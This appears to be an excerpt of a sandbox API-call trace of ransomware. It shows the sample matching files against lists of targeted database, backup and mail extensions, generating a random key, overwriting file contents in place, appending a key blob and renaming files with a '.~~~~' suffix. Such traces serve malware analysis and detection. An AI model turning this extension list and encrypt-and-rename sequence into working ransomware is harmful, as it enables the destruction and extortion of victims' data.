	[0138.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".dtxs") returned 0x0
	[0138.799] lstrlenW (lpString=".db3") returned 4
	[0138.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".db3") returned 0x0
	[0138.800] lstrlenW (lpString=".OST") returned 4
	[0138.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".OST") returned 0x0
	[0138.800] lstrlenW (lpString=".dbx") returned 4
	[0138.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".dbx") returned 0x0
	[0138.800] lstrlenW (lpString=".DB3") returned 4
	[0138.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".DB3") returned 0x0
	[0138.800] lstrlenW (lpString=".DAT") returned 4
	[0138.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".DAT") returned 0x0
	[0138.800] lstrlenW (lpString=".VHDX") returned 5
	[0138.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".VHDX") returned 0x0
	[0138.800] lstrlenW (lpString=".ndf") returned 4
	[0138.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".ndf") returned 0x0
	[0138.800] lstrlenW (lpString=".DB") returned 3
	[0138.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".DB") returned 0x0
	[0138.800] lstrlenW (lpString=".sql") returned 4
	[0138.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".sql") returned 0x0
	[0138.800] lstrlenW (lpString=".MYD") returned 4
	[0138.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".MYD") returned 0x0
	[0138.800] lstrlenW (lpString=".DBT") returned 4
	[0138.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".DBT") returned 0x0
	[0138.800] lstrlenW (lpString=".ACCDB") returned 6
	[0138.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.801] lstrlenW (lpString=".fdb") returned 4
	[0138.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".fdb") returned 0x0
	[0138.801] lstrlenW (lpString=".bak") returned 4
	[0138.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".bak") returned 0x0
	[0138.801] lstrlenW (lpString=".myd") returned 4
	[0138.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".myd") returned 0x0
	[0138.801] lstrlenW (lpString=".DTXS") returned 5
	[0138.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".DTXS") returned 0x0
	[0138.801] lstrlenW (lpString=".ckp") returned 4
	[0138.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".ckp") returned 0x0
	[0138.801] lstrlenW (lpString=".dbt") returned 4
	[0138.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".dbt") returned 0x0
	[0138.801] lstrlenW (lpString=".db") returned 3
	[0138.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".db") returned 0x0
	[0138.801] lstrlenW (lpString=".TXT") returned 4
	[0138.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".TXT") returned 0x0
	[0138.801] lstrlenW (lpString=".MDF") returned 4
	[0138.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".MDF") returned 0x0
	[0138.801] lstrlenW (lpString=".bdb") returned 4
	[0138.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".bdb") returned 0x0
	[0138.801] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0138.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.803] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0138.804] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.804] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0138.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0138.805] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25879485870) returned 1
	[0138.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbc292870, dwHighDateTime=0x1d60e1e)) 
	[0138.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0138.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0138.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0138.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825da0
	[0138.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825da0 | out: hHeap=0x300000) returned 1
	[0138.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a4d8
	[0138.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0138.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a4d8 | out: hHeap=0x300000) returned 1
	[0138.806] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0138.806] GetLastError () returned 0x0
	[0138.806] GetLastError () returned 0x0
	[0138.807] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0138.807] GetLastError () returned 0x0
	[0138.807] GetLastError () returned 0x0
	[0138.807] ReadFile (in: hFile=0x108, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.813] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.813] WriteFile (in: hFile=0x108, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0138.814] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.814] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.814] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.814] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.814] CloseHandle (hObject=0x108) returned 1
	[0138.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a4d8
	[0138.815] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme28.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme28.css.~~~~")) returned 1
	[0138.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a4d8 | out: hHeap=0x300000) returned 1
	[0138.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0138.834] GetLastError () returned 0x0
	[0138.835] RtlWakeConditionVariable () returned 0x0
	[0138.835] GetCurrentThreadId () returned 0xaf0
	[0138.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".scr") returned 0x0
	[0138.835] lstrlenW (lpString=".cmd") returned 4
	[0138.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".cmd") returned 0x0
	[0138.835] lstrlenW (lpString=".dll") returned 4
	[0138.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".dll") returned 0x0
	[0138.835] lstrlenW (lpString=".bat") returned 4
	[0138.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".bat") returned 0x0
	[0138.835] lstrlenW (lpString=".cpl") returned 4
	[0138.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".cpl") returned 0x0
	[0138.835] lstrlenW (lpString=".sys") returned 4
	[0138.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".sys") returned 0x0
	[0138.835] lstrlenW (lpString=".msc") returned 4
	[0138.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".msc") returned 0x0
	[0138.835] lstrlenW (lpString=".com") returned 4
	[0138.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".com") returned 0x0
	[0138.835] lstrlenW (lpString=".lnk") returned 4
	[0138.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".lnk") returned 0x0
	[0138.835] lstrlenW (lpString=".msp") returned 4
	[0138.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".msp") returned 0x0
	[0138.836] lstrlenW (lpString=".pif") returned 4
	[0138.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".pif") returned 0x0
	[0138.836] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme29.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0138.838] lstrlenW (lpString=".sqb") returned 4
	[0138.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".sqb") returned 0x0
	[0138.838] lstrlenW (lpString=".ost") returned 4
	[0138.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".ost") returned 0x0
	[0138.838] lstrlenW (lpString=".txt") returned 4
	[0138.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".txt") returned 0x0
	[0138.838] lstrlenW (lpString=".mdt") returned 4
	[0138.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".mdt") returned 0x0
	[0138.838] lstrlenW (lpString=".BDB") returned 4
	[0138.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".BDB") returned 0x0
	[0138.838] lstrlenW (lpString=".eql") returned 4
	[0138.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".eql") returned 0x0
	[0138.838] lstrlenW (lpString=".DBF") returned 4
	[0138.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".DBF") returned 0x0
	[0138.838] lstrlenW (lpString=".EQL") returned 4
	[0138.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".EQL") returned 0x0
	[0138.838] lstrlenW (lpString=".FDB") returned 4
	[0138.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".FDB") returned 0x0
	[0138.838] lstrlenW (lpString=".EDB") returned 4
	[0138.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".EDB") returned 0x0
	[0138.839] lstrlenW (lpString=".DACPAC") returned 7
	[0138.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.839] lstrlenW (lpString=".VHD") returned 4
	[0138.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".VHD") returned 0x0
	[0138.839] lstrlenW (lpString=".DBV") returned 4
	[0138.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".DBV") returned 0x0
	[0138.839] lstrlenW (lpString=".dacpac") returned 7
	[0138.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".dacpac") returned 0x0
	[0138.839] lstrlenW (lpString=".sdf") returned 4
	[0138.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".sdf") returned 0x0
	[0138.839] lstrlenW (lpString=".accdb") returned 6
	[0138.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".accdb") returned 0x0
	[0138.839] lstrlenW (lpString=".DBX") returned 4
	[0138.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".DBX") returned 0x0
	[0138.839] lstrlenW (lpString=".MDT") returned 4
	[0138.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".MDT") returned 0x0
	[0138.839] lstrlenW (lpString=".SQB") returned 4
	[0138.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".SQB") returned 0x0
	[0138.839] lstrlenW (lpString=".vhd") returned 4
	[0138.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".vhd") returned 0x0
	[0138.839] lstrlenW (lpString=".bac") returned 4
	[0138.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".bac") returned 0x0
	[0138.839] lstrlenW (lpString=".mdf") returned 4
	[0138.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".mdf") returned 0x0
	[0138.840] lstrlenW (lpString=".BAK") returned 4
	[0138.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".BAK") returned 0x0
	[0138.840] lstrlenW (lpString=".BAC") returned 4
	[0138.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".BAC") returned 0x0
	[0138.840] lstrlenW (lpString=".dbs") returned 4
	[0138.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".dbs") returned 0x0
	[0138.840] lstrlenW (lpString=".vhdx") returned 5
	[0138.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".vhdx") returned 0x0
	[0138.840] lstrlenW (lpString=".NDF") returned 4
	[0138.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".NDF") returned 0x0
	[0138.840] lstrlenW (lpString=".dat") returned 4
	[0138.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".dat") returned 0x0
	[0138.840] lstrlenW (lpString=".DBS") returned 4
	[0138.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".DBS") returned 0x0
	[0138.840] lstrlenW (lpString=".CKP") returned 4
	[0138.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".CKP") returned 0x0
	[0138.840] lstrlenW (lpString=".edb") returned 4
	[0138.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".edb") returned 0x0
	[0138.840] lstrlenW (lpString=".PST") returned 4
	[0138.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".PST") returned 0x0
	[0138.840] lstrlenW (lpString=".dbf") returned 4
	[0138.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".dbf") returned 0x0
	[0138.840] lstrlenW (lpString=".SQL") returned 4
	[0138.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".SQL") returned 0x0
	[0138.840] lstrlenW (lpString=".pst") returned 4
	[0138.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".pst") returned 0x0
	[0138.841] lstrlenW (lpString=".dbv") returned 4
	[0138.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".dbv") returned 0x0
	[0138.841] lstrlenW (lpString=".SDF") returned 4
	[0138.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".SDF") returned 0x0
	[0138.841] lstrlenW (lpString=".dtxs") returned 5
	[0138.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".dtxs") returned 0x0
	[0138.841] lstrlenW (lpString=".db3") returned 4
	[0138.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".db3") returned 0x0
	[0138.841] lstrlenW (lpString=".OST") returned 4
	[0138.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".OST") returned 0x0
	[0138.841] lstrlenW (lpString=".dbx") returned 4
	[0138.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".dbx") returned 0x0
	[0138.841] lstrlenW (lpString=".DB3") returned 4
	[0138.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".DB3") returned 0x0
	[0138.841] lstrlenW (lpString=".DAT") returned 4
	[0138.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".DAT") returned 0x0
	[0138.841] lstrlenW (lpString=".VHDX") returned 5
	[0138.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".VHDX") returned 0x0
	[0138.841] lstrlenW (lpString=".ndf") returned 4
	[0138.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".ndf") returned 0x0
	[0138.841] lstrlenW (lpString=".DB") returned 3
	[0138.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".DB") returned 0x0
	[0138.841] lstrlenW (lpString=".sql") returned 4
	[0138.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".sql") returned 0x0
	[0138.841] lstrlenW (lpString=".MYD") returned 4
	[0138.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".MYD") returned 0x0
	[0138.842] lstrlenW (lpString=".DBT") returned 4
	[0138.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".DBT") returned 0x0
	[0138.842] lstrlenW (lpString=".ACCDB") returned 6
	[0138.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.842] lstrlenW (lpString=".fdb") returned 4
	[0138.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".fdb") returned 0x0
	[0138.842] lstrlenW (lpString=".bak") returned 4
	[0138.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".bak") returned 0x0
	[0138.842] lstrlenW (lpString=".myd") returned 4
	[0138.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".myd") returned 0x0
	[0138.842] lstrlenW (lpString=".DTXS") returned 5
	[0138.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".DTXS") returned 0x0
	[0138.842] lstrlenW (lpString=".ckp") returned 4
	[0138.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".ckp") returned 0x0
	[0138.842] lstrlenW (lpString=".dbt") returned 4
	[0138.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".dbt") returned 0x0
	[0138.842] lstrlenW (lpString=".db") returned 3
	[0138.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".db") returned 0x0
	[0138.842] lstrlenW (lpString=".TXT") returned 4
